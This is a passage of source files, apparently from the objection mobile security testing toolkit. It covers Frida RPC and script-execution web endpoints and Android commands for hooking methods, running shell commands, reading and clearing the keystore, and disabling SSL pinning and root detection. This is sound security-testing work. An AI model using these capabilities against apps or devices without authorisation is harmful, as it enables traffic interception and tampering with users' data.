    "content": "from flask import Blueprint, jsonify, request, abort\n\nfrom objection.state.connection import state_connection\nfrom ..utils.helpers import to_snake_case\n\nbp = Blueprint('rpc', __name__, url_prefix='/rpc')\n\n\n@bp.route('/invoke/<string:method>', methods=('GET', 'POST'))\ndef invoke(method):\n    \"\"\"\n        Bridge a call to the Frida RPC. Endpoints may be sourced from\n        the agent's RPC exports.\n\n        Responses are JSON encoded by default, but can be raw by adding\n        ?json=false as a query string parameter.\n\n        :param method:\n        :return:\n    \"\"\"\n\n    method = to_snake_case(method)\n\n    # post requests require a little more validation, so do that\n    if request.method == 'POST':\n\n        # ensure we have some JSON formatted post data\n        post_data = request.get_json(force=True, silent=True)\n        if not post_data:\n            return abort(jsonify(message='POST request without a valid body received'))\n\n    try:\n\n        rpc = state_connection.get_api()\n\n    except Exception as e:\n        return abort(jsonify(message='Failed to talk to the Frida RPC: {e}'.format(e=str(e))))\n\n    try:\n\n        # invoke the method based on the http request type\n        if request.method == 'POST':\n            response = getattr(rpc, method)(*post_data.values())\n\n        if request.method == 'GET':\n            response = getattr(rpc, method)()\n\n        if 'json' in request.args and request.args.get('json').lower() == 'false':\n            return response\n\n    except Exception as e:\n        return abort(jsonify(message='Failed to call method: {e}'.format(e=str(e))))\n\n    return jsonify(response)\n"
  },
  {
    "path": "objection/api/script.py",
    "content": "from flask import Blueprint, jsonify, request, abort\n\nfrom objection.state.connection import state_connection\n\nbp = Blueprint('script', __name__, url_prefix='/script')\n\n\n@bp.route('/runonce', methods=('POST',))\ndef runonce():\n    \"\"\"\n        Run an arbitrary script in the connected frida\n        enabled device.\n\n        Responses are JSON encoded by default, but can be raw by adding\n        ?json=false as a query string parameter.\n\n        :return:\n    \"\"\"\n\n    source = request.data.decode('utf-8')\n\n    if len(source) <= 0:\n        return abort(jsonify(message='Missing or empty script received'))\n\n    try:\n\n        # run the script\n        response = state_connection.get_agent().single(source)\n\n        if 'json' in request.args and request.args.get('json').lower() == 'false':\n            return response\n\n    except Exception as e:\n        return abort(jsonify(message='Script failed to run: {e}'.format(e=str(e))))\n\n    return jsonify(response)\n"
  },
  {
    "path": "objection/commands/__init__.py",
    "content": ""
  },
  {
    "path": "objection/commands/android/__init__.py",
    "content": ""
  },
  {
    "path": "objection/commands/android/clipboard.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef monitor(args: list = None) -> None:\n    \"\"\"\n        Starts a new objection job that monitors the Android clipboard\n        and reports on new strings found.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.android_monitor_clipboard()\n"
  },
  {
    "path": "objection/commands/android/command.py",
    "content": "import click\n\nfrom objection.state.connection import state_connection\n\n\ndef execute(args: list) -> None:\n    \"\"\"\n        Runs a shell command on an Android device.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    command = ' '.join(args)\n    click.secho('Running shell command: {0}\\n'.format(command), dim=True)\n\n    api = state_connection.get_api()\n    response = api.android_shell_exec(command)\n\n    if 'stdOut' in response and len(response['stdOut']) > 0:\n        click.secho(response['stdOut'], bold=True)\n\n    if 'stdErr' in response and len(response['stdErr']) > 0:\n        click.secho(response['stdErr'], bold=True, fg='red')\n"
  },
  {
    "path": "objection/commands/android/general.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef deoptimise(args: list) -> None:\n    \"\"\"\n        Forces the VM to execute everything with its interpreter.\n        Necessary to prevent optimizations from bypassing method hooks in some cases.\n\n        Ref: https://frida.re/docs/javascript-api/\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.android_deoptimize()\n"
  },
  {
    "path": "objection/commands/android/generate.py",
    "content": "import os\n\nimport click\n\nfrom objection.state.connection import state_connection\n\n\ndef clazz(args: list) -> None:\n    \"\"\"\n        Simply echoes the source for a generic Hook Manager\n        sample for Objective-C hooks with Frida.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    js_path = os.path.join(\n        os.path.abspath(os.path.dirname(__file__)),\n        '../../utils/assets', 'javahookmanager.js'\n    )\n\n    with open(js_path, 'r') as f:\n        click.secho(f.read(), dim=True)\n\n\ndef simple(args: list) -> None:\n    \"\"\"\n        Generate simple hooks for all methods in a Java class.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: android hooking generate simple <class name>', bold=True)\n        return\n\n    classname = args[0]\n\n    api = state_connection.get_api()\n    methods = api.android_hooking_get_class_methods(classname, False)\n\n    if len(methods) <= 0:\n        click.secho('No class / methods found')\n        return\n\n    # nasty! :D\n    unique_methods = set([x.split('(')[0].split('.')[-1] for x in methods])\n\n    for method in unique_methods:\n        hook = \"\"\"\nJava.perform(function() {\n    var clazz = Java.use('{clazz}');\n    clazz.{method}.implementation = function() {\n\n        //\n\n        return clazz.{method}.apply(this, arguments);\n    }\n});\n    \"\"\".replace('{clazz}', classname).replace('{method}', method)\n\n        click.secho(hook, dim=True)\n"
  },
  {
    "path": "objection/commands/android/heap.py",
    "content": "import pprint\n\nimport click\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.lexers import PygmentsLexer\nfrom pygments.lexers.javascript import JavascriptLexer\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef _should_ignore_methods_with_arguments(args) -> bool:\n    \"\"\"\n        Check if the --without-arguments flag exists\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--without-arguments' in args\n\n\ndef _should_return_as_string(args) -> bool:\n    \"\"\"\n        Check if the --return-string flag exists\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--return-string' in args\n\n\ndef instances(args: list) -> None:\n    \"\"\"\n        Asks the agent to print the currently live instances of a particular class\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: android heap search instances <class> (eg: com.example.test)', bold=True)\n        return\n\n    target_class = args[0]\n\n    api = state_connection.get_api()\n    instance_results = api.android_heap_get_live_class_instances(target_class)\n\n    if len(instance_results) <= 0:\n        return\n\n    click.secho(tabulate(\n        [[\n            entry['hashcode'],\n            entry['classname'],\n            entry['tostring'],\n        ] for entry in instance_results], headers=['Hashcode', 'Class', 'toString()'],\n    ))\n\n\ndef methods(args: list) -> None:\n    \"\"\"\n        Get the methods available on a handle\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: android heap print methods <hashcode> (eg: 24688232)', bold=True)\n        return\n\n    target_handle = int(args[0])\n\n    api = state_connection.get_api()\n    method_results = api.android_heap_print_methods(target_handle)\n\n    # apply argument filters\n    # we assume methods that end with braces don't need arguments\n    if _should_ignore_methods_with_arguments(args):\n        method_results[1] = list(filter(lambda x: '()' in x, method_results[1]))\n\n    click.secho(tabulate(\n        [[\n            entry,\n        ] for entry in method_results], headers=['Method'],\n    ))\n\n\ndef execute(args: list) -> None:\n    \"\"\"\n        Executes a method on a handle which is assumed to be a Java\n        class instance.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: android heap execute method <hashcode> <method> (eg: 24688232)', bold=True)\n        return\n\n    target_handle = int(args[0])\n    method = args[1]\n\n    api = state_connection.get_api()\n    exec_results = api.android_heap_execute_handle_method(target_handle, method,\n                                                          _should_return_as_string(args))\n\n    if exec_results:\n        if isinstance(exec_results, dict):\n            click.secho(pprint.pformat(exec_results))\n        else:\n            click.secho(str(exec_results))\n\n\ndef fields(args: list) -> None:\n    \"\"\"\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: android heap print fields <hashcode> (eg: 24688232)', bold=True)\n        return\n\n    target_handle = int(args[0])\n\n    api = state_connection.get_api()\n    field_results = api.android_heap_print_fields(target_handle)\n\n    click.secho(tabulate(\n        [[\n            value['name'],\n            value['value']\n        ] for value in field_results], headers=['Name', 'Value'],\n    ))\n\n\ndef evaluate(args: list) -> None:\n    \"\"\"\n        Evaluates JavaScript on a handle\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: android heap execute js <hashcode> (eg: 24688232)', bold=True)\n        return\n\n    target_handle = int(args[0])\n\n    js = prompt(\n        click.secho('(The hashcode at `{handle}` will be available as the `clazz` variable.)'.format(\n            handle=target_handle\n        ), dim=True),\n        multiline=True, lexer=PygmentsLexer(JavascriptLexer),\n        bottom_toolbar='JavaScript edit mode. [ESC] and then [ENTER] to accept. [CTRL] + C to cancel.').strip()\n\n    click.secho('JavaScript capture complete. Evaluating...', dim=True)\n\n    api = state_connection.get_api()\n    api.android_heap_evaluate_handle_method(target_handle, js)\n"
  },
  {
    "path": "objection/commands/android/hooking.py",
    "content": "import json\nfrom typing import Optional\n\nimport click\n\nfrom objection.state.connection import state_connection\nfrom objection.utils.helpers import clean_argument_flags\n\n\ndef _is_pattern_or_constant(s: str) -> bool:\n    \"\"\"\n        Check if a provided pattern matches \"CLASS!METHOD\"\n\n        :param s:\n        :return:\n    \"\"\"\n\n    # No pattern case\n    if \"!\" not in s:\n        return True\n\n    # Check if CLASS and METHOD is defined at all\n    parts = s.split('!')\n    if len(parts) != 2:\n        return False\n    elif len(parts[0]) == 0 or len(parts[1]) == 0:\n        return False\n\n    return True\n\n\ndef _string_is_true(s: str) -> bool:\n    \"\"\"\n        Check if a string should be considered as \"True\"\n\n        :param s:\n        :return:\n    \"\"\"\n\n    return s.lower() in ('true', 'yes')\n\n\ndef _should_dump_backtrace(args: list = None) -> bool:\n    \"\"\"\n        Check if --dump-backtrace is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-backtrace' in args\n\n\ndef _should_watch(args: list = None) -> bool:\n    \"\"\"\n        Check if --dump-args is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--watch' in args\n\n\ndef _should_dump_args(args: list = None) -> bool:\n    \"\"\"\n        Check if --dump-args is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-args' in args\n\n\ndef _should_dump_return_value(args: list = None) -> bool:\n    \"\"\"\n        Check if --dump-return is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-return' in args\n\n\ndef _should_dump_json(args: list) -> bool:\n    \"\"\"\n        Check if --json is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--json' in args\n\n\ndef _should_be_quiet(args: list) -> bool:\n    \"\"\"\n        Check if --quiet is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--quiet' in args\n\n\ndef _should_print_only_classes(args: list = None) -> bool:\n    \"\"\"\n        Check if --only-classes is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--only-classes' in args\n\n\ndef _get_flag_value(flag: str, args: list) -> Optional[str]:\n    \"\"\"\n        Gets the value for a flag\n\n        :param flag:\n        :param args:\n        :return:\n    \"\"\"\n\n    target = None\n\n    for i in range(len(args)):\n        if args[i] == flag:\n            target = i + 1\n\n    if target is None:\n        return None\n    elif target < len(args):\n        return args[target]\n    else:\n        return None\n\n\ndef show_android_classes(args: list = None) -> None:\n    \"\"\"\n        Show the currently loaded classes. \n        Note that Java classes are only loaded when they are used, \n        so not all classes may be present.\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    classes = api.android_hooking_get_classes()\n\n    # print the enumerated classes\n    for class_name in sorted(classes):\n        click.secho(class_name)\n\n    click.secho('\\nFound {0} classes'.format(len(classes)), bold=True)\n\n\ndef show_android_class_loaders(args: list = None) -> None:\n    \"\"\"\n        Show the currently registered class loaders.\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    loaders = api.android_hooking_get_class_loaders()\n\n    # print the enumerated classes\n    for loader in sorted(loaders):\n        click.secho('* {0}'.format(loader))\n\n    click.secho('\\nFound {0} class loaders'.format(len(loaders)), bold=True)\n\n\ndef show_android_class_methods(args: list = None) -> None:\n    \"\"\"\n        Shows the methods available on an Android class.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: android hooking list class_methods <class name>', bold=True)\n        return\n\n    class_name = args[0]\n\n    api = state_connection.get_api()\n    methods = api.android_hooking_get_class_methods(class_name)\n\n    # print the enumerated classes\n    for class_name in sorted(methods):\n        click.secho(class_name)\n\n    click.secho('\\nFound {0} method(s)'.format(len(methods)), bold=True)\n\n\ndef notify(args: list = None) -> None:\n    \"\"\"\n        Notify when a class becomes available.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: android hooking notify <pattern>', bold=True)\n        return\n\n    query = args[0]\n    if not _is_pattern_or_constant(query):\n        click.secho('Incorrect query syntax, please use <class>!<method> or just the class name', fg='red')\n        return\n\n    api = state_connection.get_api()\n    should_watch = _should_watch(args)\n    dump_arguments = _should_dump_args(args)\n    dump_backtrace = _should_dump_backtrace(args)\n    dump_return = _should_dump_return_value(args)\n    api.android_hooking_lazy_watch_for_pattern(query, \n        should_watch, dump_arguments, \n        dump_return, \n        dump_backtrace)\n\n\ndef watch(args: list = None) -> None:\n    \"\"\"\n        Hook functions and print useful information when they are called.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 1:\n        click.secho('Usage: android hooking watch <package pattern> '\n                    '(eg: com.example.test, *com.example*!*, com.example.test!toString)'\n                    '(optional: --dump-args) '\n                    '(optional: --dump-backtrace) '\n                    '(optional: --dump-return)',\n                    bold=True)\n        return\n\n    query = args[0]\n    if not _is_pattern_or_constant(query):\n        click.secho('Incorrect query syntax, please use <CLASS>!<METHOD>', fg='red')\n        return\n\n    api = state_connection.get_api()\n    api.android_hooking_watch(query,\n                              _should_dump_args(args),\n                              _should_dump_backtrace(args),\n                              _should_dump_return_value(args))\n    return\n\n\ndef search(args: list = None) -> None:\n    \"\"\"\n        Enumerates the current Android application for classes and methods.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) <= 0:\n        click.secho('Usage: android hooking search \\'<class>!<method>\\n\\''\n                    '(optional: --json <filename>)'\n                    '(optional: --only-classes)', bold=True)\n        return\n\n    query = args[0]\n\n    if not _is_pattern_or_constant(query):\n        click.secho('Incorrect query syntax, please use <class>!<method>', fg='red')\n        return\n\n    api = state_connection.get_api()\n    results = api.android_hooking_enumerate(query)\n\n    # Only get overloads if this flag is specified, otherwise just enumerating can be kind of slow\n    if _should_dump_json(args):\n        results_json = {\n            'meta': {\n                'runtime': 'java'\n            }\n        }\n\n        for result in results:\n            for _class in result['classes']:\n                loader = result['loader']\n                if loader is not None:\n                    # <instance: java.lang.ClassLoader, $className: dalvik.system.PathClassLoader>\n                    # but we only care about the className\n                    start_index = loader.find('$className: ') + 12\n                    start_part = loader[start_index:]\n                    if start_part.find('>'):\n                        end_index = start_part.find('>')\n                    else:\n                        end_index = start_part.find(' ')\n                    loader = start_part[:end_index]\n\n                _class['overloads'] = api.android_hooking_get_class_methods_overloads(_class['name'], _class['methods'],\n                                                                                      loader)\n\n        target_file = _get_flag_value('--json', args)\n        if target_file:\n            results_json['data'] = results\n            with open(target_file, 'w') as fd:\n                fd.write(json.dumps(results_json))\n                click.secho(f'JSON dumped to file {target_file}', bold=True)\n\n        return\n\n    # just print to the console\n    for result in results:\n        for _class in result['classes']:\n            if _should_print_only_classes(args):\n                print(_class['name'])\n                continue\n\n            for method in _class['methods']:\n                print(f'{_class[\"name\"]}.{method}')\n\n\ndef show_registered_broadcast_receivers(args: list = None) -> None:\n    \"\"\"\n        Enumerate all registered BroadcastReceivers\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    receivers = api.android_hooking_list_broadcast_receivers()\n\n    for class_name in sorted(receivers):\n        click.secho(class_name)\n\n    click.secho('\\nFound {0} classes'.format(len(receivers)), bold=True)\n\n\ndef show_registered_services(args: list = None) -> None:\n    \"\"\"\n        Enumerate all registered Services\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    services = api.android_hooking_list_services()\n\n    for class_name in sorted(services):\n        click.secho(class_name)\n\n    click.secho('\\nFound {0} classes'.format(len(services)), bold=True)\n\n\ndef show_registered_activities(args: list = None) -> None:\n    \"\"\"\n        Enumerate all registered Activities\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    activities = api.android_hooking_list_activities()\n\n    for class_name in sorted(activities):\n        click.secho(class_name)\n\n    click.secho('\\nFound {0} classes'.format(len(activities)), bold=True)\n\n\ndef get_current_activity(args: list = None) -> None:\n    \"\"\"\n        Get the currently active activity\n\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    activity = api.android_hooking_get_current_activity()\n\n    click.secho('Activity: {0}'.format(activity['activity']), bold=True)\n    click.secho('Fragment: {0}'.format(activity['fragment']))\n\n\ndef set_method_return_value(args: list = None) -> None:\n    \"\"\"\n        Sets a Java methods return value to a specified boolean.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 2:\n        click.secho(('Usage: android hooking set return_value '\n                     '\"<fully qualified class method>\" \"<optional overload>\" (eg: \"com.example.test.doLogin\") '\n                     '<true/false>'),\n                    bold=True)\n        return\n\n    # make sure we got a true/false\n    if args[-1].lower() not in ('true', 'false'):\n        click.secho('Return value must be set to either true or false', bold=True)\n        return\n\n    class_name = args[0].replace('\\'', '\"')  # fun!\n\n    # check if we got an overload\n    overload_filter = args[1].replace(' ', '') if len(args) == 3 else None\n    retval = True if _string_is_true(args[-1]) else False\n\n    api = state_connection.get_api()\n    api.android_hooking_set_method_return(class_name,\n                                          overload_filter,\n                                          retval)\n"
  },
  {
    "path": "objection/commands/android/intents.py",
    "content": "import click\n\nfrom objection.state.connection import state_connection\nfrom objection.utils.helpers import clean_argument_flags\n\ndef _should_dump_backtrace(args: list = None) -> bool:\n    \"\"\"\n        Check if --dump-backtrace is part of the arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--dump-backtrace' in args\n\ndef analyze_implicit_intents(args: list) -> None:\n    \"\"\"\n        Analyzes implicit intents in hooked methods.\n    \"\"\"\n    api = state_connection.get_api()\n    should_backtrace = _should_dump_backtrace(args)\n\n    api.android_intent_analyze(should_backtrace)\n    if not should_backtrace:\n        click.secho('Started implicit intent analysis', bold=True)\n    else:\n        click.secho('Started implicit intent analysis with backtrace', bold=True)\n\n\ndef launch_activity(args: list) -> None:\n    \"\"\"\n        Launches an activity class using an Android Intent\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 1:\n        click.secho('Usage: android intent launch_activity <activity_class>', bold=True)\n        return\n\n    intent_class = args[0]\n\n    api = state_connection.get_api()\n    api.android_intent_start_activity(intent_class)\n\n\ndef launch_service(args: list) -> None:\n    \"\"\"\n        Launches an exported service using an Android Intent\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(clean_argument_flags(args)) < 1:\n        click.secho('Usage: android intent launch_service <service_class>', bold=True)\n        return\n\n    intent_class = args[0]\n\n    api = state_connection.get_api()\n    api.android_intent_start_service(intent_class)\n"
  },
  {
    "path": "objection/commands/android/keystore.py",
    "content": "import json\n\nimport click\nfrom tabulate import tabulate\n\nfrom objection.state.connection import state_connection\n\n\ndef _should_output_json(args: list) -> bool:\n    \"\"\"\n        Checks if --json is in the list of tokens received from the\n        command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--json' in args\n\n\ndef entries(args: list = None) -> None:\n    \"\"\"\n        Lists entries in the Android KeyStore\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    ks = api.android_keystore_list()\n\n    output = [[x['alias'], x['is_key'], x['is_certificate']] for x in ks]\n    click.secho(tabulate(output, headers=['Alias', 'Key', 'Certificate']))\n\n\ndef detail(args: list = None) -> None:\n    \"\"\"\n        Lists details of all items in the Android KeyStore\n\n        :param args:\n        :return:\n    \"\"\"\n\n    click.secho('Listing details for all items in the Android KeyStore...', dim=True)\n    api = state_connection.get_api()\n    ks = api.android_keystore_detail()\n\n    if _should_output_json(args):\n        click.secho(json.dumps(ks, indent=2, sort_keys=True))\n        return\n\n    output = [[\n        x['keystoreAlias'],\n        x['keyAlgorithm'],\n        x['keySize'],\n        ','.join(x['blockModes']),\n        ','.join(x['encryptionPaddings']),\n        ','.join(x['digests']),\n        x['keyValidityStart'],\n        x['origin'],\n        x['purposes'],\n        ','.join(x['signaturePaddings']),\n        x['isInsideSecureHardware'],\n    ] for x in ks]\n\n    click.secho(tabulate(output, headers=[\n        'Alias', 'Alg', 'Size', 'Modes', 'Paddings', 'Digests',\n        'Validity Start', 'Origin', 'Purposes', 'Sig Paddings', 'Sec Hardware'\n    ]))\n\n\ndef clear(args: list = None) -> None:\n    \"\"\"\n        Clears out an Android KeyStore\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if not click.confirm('Are you sure you want to clear the Android keystore?'):\n        return\n\n    api = state_connection.get_api()\n    api.android_keystore_clear()\n\n\ndef watch(args: list = None) -> None:\n    \"\"\"\n        Watches usage of the Android KeyStore\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.android_keystore_watch()\n"
  },
  {
    "path": "objection/commands/android/monitor.py",
    "content": "import click\n\nfrom objection.state.connection import state_connection\n\n\ndef string_canary(args: list) -> None:\n    \"\"\"\n        Monitors for a string canary argument and reports when\n        it is found.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) < 1:\n        click.secho('Usage: android monitor canary <value> (optional: <filter>)', bold=True)\n        return\n\n    target_class = args[0]\n\n    api = state_connection.get_api()\n    api.android_live_print_class_instances(target_class)\n"
  },
  {
    "path": "objection/commands/android/pinning.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef _should_be_quiet(args: list) -> bool:\n    \"\"\"\n        Checks if --quiet is part of the\n        commands arguments.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--quiet' in args\n\n\ndef android_disable(args: list = None) -> None:\n    \"\"\"\n        Starts a new objection job that hooks common classes and functions,\n        applying new logic in an attempt to bypass SSL pinning.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.android_ssl_pinning_disable(_should_be_quiet(args))\n"
  },
  {
    "path": "objection/commands/android/proxy.py",
    "content": "import click\n\nfrom objection.state.connection import state_connection\n\n\ndef android_proxy_set(args: list = None) -> None:\n    \"\"\"\n        Sets a proxy specifically within the application.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) != 2:\n        click.secho('Usage: android proxy set <ip address> <port>', bold=True)\n        return\n\n    api = state_connection.get_api()\n    api.android_proxy_set(args[0], args[1])\n"
  },
  {
    "path": "objection/commands/android/root.py",
    "content": "from objection.state.connection import state_connection\n\n\ndef disable(args: list = None) -> None:\n    \"\"\"\n        Performs a generic anti root detection.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.android_root_detection_disable()\n\n\ndef simulate(args: list = None) -> None:\n    \"\"\"\n        Simulate a rooted environment.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.android_root_detection_enable()\n"
  },
  {
    "path": "objection/commands/command_history.py",
    "content": "import os\n\nimport click\n\nfrom ..state.app import app_state\n\n\ndef history(args: list) -> None:\n    \"\"\"\n        Lists the commands that have been run in the current session.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    click.secho('Unique commands run in current session:', dim=True)\n\n    for command in app_state.successful_commands:\n        click.secho(command)\n\n\ndef save(args: list) -> None:\n    \"\"\"\n        Save the current sessions command history to a file.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: commands save <local destination>', bold=True)\n        return\n\n    destination = os.path.expanduser(args[0]) if args[0].startswith('~') else args[0]\n\n    with open(destination, 'w') as f:\n        for command in app_state.successful_commands:\n            f.write('{0}\\n'.format(command))\n\n    click.secho('Saved commands to: {0}'.format(destination), fg='green')\n\n\ndef clear(args: list) -> None:\n    \"\"\"\n        Clears the current sessions command history.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    app_state.clear_command_history()\n    click.secho('Command history cleared.', fg='green')\n"
  },
  {
    "path": "objection/commands/custom.py",
    "content": "import os\n\nimport click\nimport frida\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.lexers import PygmentsLexer\nfrom pygments.lexers.javascript import JavascriptLexer\n\nfrom ..state.connection import state_connection\n\n\ndef evaluate(args: list) -> None:\n    \"\"\"\n        Evaluate JavaScript within the agent's context.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    target_file = None\n\n    # if we have an argument, let's assume it is a file path\n    if len(args) > 0:\n\n        target_file = args[0]\n        p = os.path.expanduser(target_file)\n        if os.path.exists(p):\n            target_file = p\n        else:\n            click.secho('Could not find file {p}.'.format(p=target_file), fg='red')\n            return\n\n    if target_file:\n        with open(target_file, 'r', encoding='utf-8') as f:\n            javascript = ''.join(f.readlines())\n    else:\n        javascript = prompt(\n            multiline=True, lexer=PygmentsLexer(JavascriptLexer),\n            bottom_toolbar='JavaScript edit mode. [ESC] and then [ENTER] to accept. [CTRL] + C to cancel.').strip()\n\n    if len(javascript) <= 0:\n        click.secho('JavaScript to evaluate appears empty. Skipping.', fg='yellow')\n        return\n\n    click.secho('JavaScript capture complete. Evaluating...', dim=True)\n    try:\n        state_connection.get_api().evaluate(javascript)\n    except frida.core.RPCException as e:\n        click.secho('Failed to load script: {}'.format(e), fg='red', bold=True)\n"
  },
  {
    "path": "objection/commands/device.py",
    "content": "import click\nfrom tabulate import tabulate\n\nfrom ..state.connection import state_connection\nfrom ..state.device import device_state, Android, Ios\n\n\ndef get_environment(args: list = None) -> None:\n    \"\"\"\n        Get information about the current environment.\n\n        This method will call the correct runtime specific\n        method to get the information that it can.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if device_state.platform == Ios:\n        _get_ios_environment()\n\n    if device_state.platform == Android:\n        _get_android_environment()\n\n\ndef _get_ios_environment() -> None:\n    \"\"\"\n        Prints information about the iOS environment.\n\n        This includes the current OS version as well as directories\n        of interest for the current applications Documents, Library and\n        main application bundle.\n\n        :return:\n    \"\"\"\n\n    paths = state_connection.get_api().env_ios_paths()\n\n    click.secho('')\n    click.secho(tabulate(paths.items(), headers=['Name', 'Path']))\n\n\ndef _get_android_environment() -> None:\n    \"\"\"\n        Prints information about the Android environment.\n\n        :return:\n    \"\"\"\n\n    paths = state_connection.get_api().env_android_paths()\n\n    click.secho('')\n    click.secho(tabulate(paths.items(), headers=['Name', 'Path']))\n"
  },
  {
    "path": "objection/commands/filemanager.py",
    "content": "import os\nimport tempfile\nimport time\n\nimport click\nfrom tabulate import tabulate\n\nfrom ..state.connection import state_connection\nfrom ..state.device import device_state, Ios, Android\nfrom ..state.filemanager import file_manager_state\nfrom ..utils.helpers import sizeof_fmt\n\n# variable used to cache entries from the ls-like\n# commands used in the below helpers. only used\n# by the _get_short_*_listing methods.\n_ls_cache = {}\n\n\ndef _should_download_folder(args: list) -> bool:\n    \"\"\"\n        Checks if --json is in the list of tokens received from the command line.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return len(args) > 0 and '--folder' in args\n\n\ndef cd(args: list) -> None:\n    \"\"\"\n        Change the current working directory of the device.\n\n        While this method does not actually change any directories,\n        it simply updates the value in the file_manager_state property\n        that keeps record of the current directory.\n\n        Before changing directories though, some checks are performed\n        on the device to at least ensure that the destination directory\n        exists.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: cd <destination directory>', bold=True)\n        return\n\n    path = args[0]\n    current_dir = pwd()\n\n    # nothing to do\n    if path == '.':\n        return\n\n    # moving one directory back\n    device_path_separator = device_state.platform.path_separator\n\n    if path == '..' or path == '..'+device_path_separator:\n\n        split_path = os.path.split(current_dir)\n\n        # nothing to do if we are already at root\n        if len(split_path) == 1:\n            return\n\n        new_path = ''.join(split_path[:-1])\n        click.secho(new_path, fg='green', bold=True)\n\n        file_manager_state.cwd = new_path\n\n        return\n\n    # if we got an absolute path, check if the path\n    # actually exists, and then cd to it if we can\n    if os.path.isabs(path):\n\n        # assume the path does not exist by default\n        does_exist = False\n\n        # normalise path to remove '../'\n        if '..'+device_path_separator in path:\n            path = os.path.normpath(path).replace('\\\\', device_path_separator)\n\n        # check for existence based on the runtime\n        if device_state.platform == Ios:\n            does_exist = _path_exists_ios(path)\n\n        if device_state.platform == Android:\n            does_exist = _path_exists_android(path)\n\n        # if we checked with the device that the path exists\n        # and it did, update the state manager, otherwise\n        # show an error that the path may be invalid\n        if does_exist:\n            click.secho(path, fg='green', bold=True)\n\n            file_manager_state.cwd = path\n            return\n\n        else:\n            click.secho('Invalid path: `{0}`'.format(path), fg='red')\n\n    # directory is not absolute, tack it on at the end and\n    # see if its legit.\n    else:\n\n        proposed_path = device_path_separator.join([current_dir, path])\n\n        # normalise path to remove '../'\n        if '..'+device_path_separator in proposed_path:\n            proposed_path = os.path.normpath(proposed_path).replace('\\\\', device_path_separator)\n            if proposed_path == '//':\n                return\n\n        # assume the proposed_path does not exist by default\n        does_exist = False\n\n        # check for existence based on the runtime\n        if device_state.platform == Ios:\n            does_exist = _path_exists_ios(proposed_path)\n\n        if device_state.platform == Android:\n            does_exist = _path_exists_android(proposed_path)\n\n        # if we checked with the device that the path exists\n        # and it did, update the state manager, otherwise\n        # show an error that the path may be invalid\n        if does_exist:\n            click.secho(proposed_path, fg='green', bold=True)\n\n            file_manager_state.cwd = proposed_path\n            return\n\n        else:\n            click.secho('Invalid path: `{0}`'.format(proposed_path), fg='red')\n\n\ndef path_exists(path: str) -> bool:\n    \"\"\"\n        